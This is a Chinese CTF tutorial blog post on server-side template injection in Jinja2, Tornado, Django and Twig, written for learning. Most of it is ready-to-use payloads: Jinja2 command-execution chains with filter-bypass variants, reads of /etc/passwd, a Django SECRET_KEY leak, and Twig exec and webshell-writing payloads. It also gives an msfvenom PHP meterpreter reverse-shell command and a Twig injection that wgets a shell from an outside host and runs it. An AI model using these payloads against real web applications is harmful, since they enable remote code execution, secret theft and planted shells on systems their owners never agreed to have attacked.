SSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
Python中的SSTI
python常见的模板:Jinja2,Tornado,Django
Jinja2
Jinja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 {{…}} 块
Jinja2使用 {{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。
Jinja2 模板同样支持控制语句,像在 {%…%} 块中
另外Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。
Hello, {{name|capitalize}}
由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等:
__dict__ :保存类实例或对象实例的属性变量键值对字典
__class__ :返回一个实例所属的类
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__ :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组
// __base__和__mro__都是用来寻找基类的
__subclasses__ :以列表返回类的子类
__init__ :类的初始化方法
__globals__ :对包含函数全局变量的字典的引用__builtin__&&__builtins__ :python中可以直接运行一些函数,例如int(),list()等等。 这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__) 在py3中__builtin__被换成了builtin 1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。 2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
用file对象读取文件
for c in {}.__class__.__base__.__subclasses__():
if(c.__name__=='file'):
print(c)
print c('joker.txt').readlines()
上述代码先通过__class__获取字典对象所属的类,再通过__base__(__bases[0]__)拿到基类,然后使用__subclasses__()获取子类列表,在子类列表中直接寻找可以利用的类
使用dir来看一下file这个子类的内置方法:
dir(().__class__.__bases__[0].__subclasses__()[40])
将要读取的文件传进入并使用readlines()方法读取,就相当于:
file('joker.txt').readlines()
注意:python3已经移除了file。所以利用file子类文件读取只能在python2中用。
用内置模块处理函数
上面的实例中我们使用dir把内置的对象列举出来,其实可以用__globals__更深入的去看每个类可以调用的东西(包括模块,类,变量等等),如果有os这种可以直接传入命令,造成命令执行
#coding:utf-8search = 'os' #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
可以看到在元组68,73的位置找到了os方法,这样就可以构造命令执行payload:
().__class__.__bases__[0].__subclasses__()[68].__init__.__globals__['os'].system('whoami')
().__class__.__base__.__subclasses__()[73].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[68].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[73].__init__.__globals__['os'].system('whoami')
注意:不过同样,只能在python2版本使用
这时候就要推荐__builtins__:
#coding:utf-8
search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
print(i.__init__.__globals__.keys())
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
这时候我们的命令执行payload就出来了:
python3:
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
python2:
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
给出大佬们各种绕过payload:
基础payload:
获取基类__bases__
方法用来查看某个类的基类,也可以使用数组索引来查看特定位置的值。通过该属性可以查看该类的所有直接父类。获取基类还能用__mro__
方法,该方法可以用来获取一个类的调用顺序。也可以利用__base__
方法获取直接基类。
{{''.__class__.__bases__}}
# (<class 'object'>,)
{{''.__class__.__bases__[0]}}
# <class 'object'>
{{''.__class__.__mro__}}
# (<class 'str'>, <class 'object'>)
{{''.__class__.__base__}}
# <class 'object'>
执行命令(重要)
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
# root
绕过WAF
过滤关键字
绕过对双引号里关键字的限制,比如{{''.__class__}},如果过滤_或class关键字
16进制编码
{{''.__class__}}等价于{{''["__class__"]}},所以可以将其中关键字编码或者部分编码,如
{{''["\x5f\x5f\x63las\x73\x5f\x5f"]}}
使用unicode编码(适用于Flask)
{{''["\u005f\u005fclas\u0073\u005f\u005f"]}}
使用字符串拼接、引号绕过,在Jinjia2中加号可以省略
{{''["__clas"+"s__"]}}
{{''["__clas""s__"]}}
使用join()函数绕过,比如过滤了flag关键字
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()
过滤[
#getitem、pop
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
过滤引号'
#chr函数
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#request对象
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
#命令执行
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
过滤下划线_
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
过滤花括号{}
如果题目直接把{{}}过滤了,可以考虑使用Flask模板的另一种形式{%%}装载一个循环控制语句来绕过
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
也可以使用{% if ... %}1{% endif %}
配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)
{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('whoami') %}1{% endif %}
也可以用{%print(......)%}
的形式来代替{{}}
{%print(''.__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()"))%}
过滤点.
使用中括号来互换
{{''.__class__}}
{{''["__class__"]}}
{{''|attr("__class__")}}
也可以使用原生 JinJa2 的 attr()
函数,如
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(80)|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")('__import__("os").popen("whoami").read()')}}
Payload解析
{{''.__class__.__base__.__subclasses__()[1].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
下面分步对每一步代码进行分析:
首先考虑拿到一个class,通过字符串、元组、列表、字典均可。
{{''.__class__}}
# <class 'str'>
{{().__class__}}
# <type 'tuple'>
{{[].__class__}}
# <type 'list'>
{{{}.__class__}}
# <type 'dict'>
下一步目的是拿到object基类
{{''.__class__.__base__}}
# <class 'object'>
然后获取对应子类
{{''.__class__.__base__.__subclasses__()}}
# [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, ...
在所有的子类中选择一个可用的类,去获取__globals__全局变量。如果这些函数并没有被重载,这时他们并不是function,不具有__globals__属性。
{{''.__class__.__base__.__subclasses__()[128]}}
# <class 'os._wrap_close'>
通过某些手段找到某个函数是可用的,下一步利用这个类的__init__函数获取到__globals__全局变量。
{{''.__class__.__base__.__subclasses__()[128].__init__}}
# <function _wrap_close.__init__ at 0x00000221629F5048>
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__}}
# ..., 'eval': <built-in function eval>, ...
再获取到__globals__全局变量里的__builtins__中的eval函数。
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']}}
# {'__name__': 'builtins', '__doc__': ...
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']}}
# <built-in function eval>
使用popen命令执行即可。
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
# root
这里推荐自动化工具tplmap,拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利
还支持其他模板(Smarty,Mako,Tornado,Jinja2)的注入检测
Tarnado
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
以下代码将定义一个TEMPLATE变量作为一个模板文件,然后使用传入的name替换模板中的"FOO",在进行加载模板并输出,且未对name值进行安全检查输入情况。
import tornado.template
import tornado.ioloop
import tornado.web
TEMPLATE = '''
<html>
<head><title> Hello {{ name }} </title></head>
<body> Hello max </body>
</html>
'''
class MainHandler(tornado.web.RequestHandler):
def get(self):
name = self.get_argument('name', '')
template_data = TEMPLATE.replace("FOO",name)
t = tornado.template.Template(template_data)
self.write(t.generate(name=name))
application = tornado.web.Application([(r"/", MainHandler),], debug=True, static_path=None, template_path=None)
if __name__ == '__main__':
application.listen(8000)
tornado.ioloop.IOLoop.instance().start()
这里有一道BUUCTF的题来演示一下tornado render模板注入:
根据上面的信息,我们知道flag在/fllllllllllllag文件中
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页render配合Tornado使用
最后就是这段代码md5(cookie_secret+md5(filename)),再来分析我们访问的链接:
http://4dd65e36-edbf-4402-b6a3-75993b8c618d.node3.buuoj.cn/file?filename=/flag.txt&filehash=284090432706edeffa4679e60f0fff03
推测md5加密过后的值就是url中filehash对应的值,想获得flag只要我们在filename中传入/fllllllllllllag文件和filehash,所以关键是获取cookie_secret
在tornado模板中,存在一些可以访问的快速对象,比如 {{escape(handler.settings["cookie"])}},这个其实就是handler.settings对象,里面存储着一些环境变量,具体分析请参照《python SSTI tornado render模板注入》。
观察错误页面,发现页面返回的由msg的值决定
修改msg的值注入{{handler.settings}},获得环境变量
得到cookie_secret的值,根据上面的md5进行算法重构,就可以得到filehash,这里给出py3的转换脚本
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="ad53693f-47f6-4c89-b072-0673e0fbbc17"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
得到filehash=ceba5d7a8acd8c4fb77cfb58c9534971,获取flag
Django
先看存在漏洞的代码:
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))
很明显 email 就是注入点,但是条件被限制的很死,很难执行命令,现在拿到的只有有一个和user有关的变量request.user ,这个时候我们就应该在没有应用源码的情况下去寻找框架本身的属性,看这个空框架有什么属性和类之间的引用。
后来发现Django自带的应用 "admin"(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:
所以可以通过某种方式,找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息。
payload如下:
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
PHP中的SSTI注入
php常见的模板:twig,smarty,blade
Twig
Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。
<?php
require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
echo $output;
?>
Twig使用一个加载器 loader(Twig_Loader_Array) 来定位模板,以及一个环境变量 environment(Twig_Environment) 来存储配置信息。
其中,render() 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板。
使用 Twig 模版引擎渲染页面,其中模版含有 {{name}} 变量,其模版变量值来自于GET请求参数$_GET["name"] 。
显然这段代码并没有什么问题,即使你想通过name参数传递一段JavaScript代码给服务端进行渲染,也许你会认为这里可以进行 XSS,但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:
但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig=newTwig_Environment(newTwig_Loader_String());
$output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
echo $output;?>
上面这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,测试结果显而易见:
如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。
在Twig模板引擎里,,{{var}} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值。
例如这里用户输入name={{2*10}} ,则在服务端拼接的模版内容为:
尝试插入一些正常字符和 Twig 模板引擎默认的注释符,构造 Payload 为:
bmjoker{# comment #}{{2*8}}OK
实际服务端要进行编译的模板就被构造为:
bmjoker{# comment #}{{2*8}}OK
于 {# comment #} 作为 Twig 模板引擎的默认注释形式,所以在前端输出的时候并不会显示,而 {{2*8}} 作为模板变量最终会返回16 作为其值进行显示,因此前端最终会返回内容 Hello bmjoker16OK
通过上面两个简单的示例,就能得到 SSTI 扫描检测的大致流程(这里以 Twig 为例):
同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload 并根据返回的内容来进行判断的。
每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。
简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。
凡是使用模板的网站,基本都会存在SSTI,只是能否控制其传参而已。
接下来借助XVWA的代码来实践演示一下SSTI注入
如果在web页面的源代码中看到了诸如以下的字符,就可以推断网站使用了某些模板引擎来呈现数据
<div>{$what}</div>
<p>Welcome, {{username}}</p>
<div>{%$a%}</div>
...
通过注入了探测字符串 ${{123+456}},以查看应用程序是否进行了相应的计算:
根据这个响应,我们可以推测这里使用了模板引擎,因为这符合它们对于 {{ }} 的处理方式
在这里提供一个针对twig的攻击载荷:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
使用msf生成了一个php meterpreter有效载荷
msfvenom -p php/meterpreter/reverse_tcp -f raw LHOST=192.168.127.131 LPORT=4321 > /var/www/html/shell.txt
msf进行监听:
模板注入远程下载shell,并重命名运行
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("wget http://192.168.127.131/shell.txt -O /tmp/shell.php;php -f /tmp/shell.php")}}
以上就是php twig模板注入,由于以上使用的twig为2.x版本,现在官方已经更新到3.x版本,根据官方文档新增了 filter 和 map 等内容,补充一些新版本的payload:
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}
参考资料:1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)
写的非常详细,大家感兴趣的话可以多去看看这两位博主写的
例题:
EZSS
进入页面,发现提示please get pid,尝试GET传参,发现回显参数值到页面了。
结合题目名称以及返回报文头的Server信息,初步判断是一道SSTI题目。
经过尝试,题目过滤了{{}}
,使用{%print %}
来绕过,说明存在SSTI漏洞。
?pid={%print 7*7%}
题目还过滤了.
,使用多个参数传入[request["args"]["a"]]
来绕过,因为题目的过滤规则只对pid参数生效,我们把关键通过别的参数传入,再将参数值进行拼接即可。
查看可用的类:
?pid={%print+()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()%}&a=__class__&b=__bases__&c=__subclasses__
执行命令并读取flag即可:
{%print ()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()[146]('whoami',shell=True,stdout=-1)["stdout"]["readlines"]() %}&a=__class__&b=__bases__&c=__subclasses__&d=__init__&f=communicate
[HZNUCTF 2023 preliminary]flask
这道例题可以看看我的这篇博客
[NCTF 2018]flask真香
这道例题可以看看我的这篇博客
标签:__,.__,__.__,CTF,SSTI,subclasses,class,模板 From: https://blog.csdn.net/2302_78903258/article/details/140600456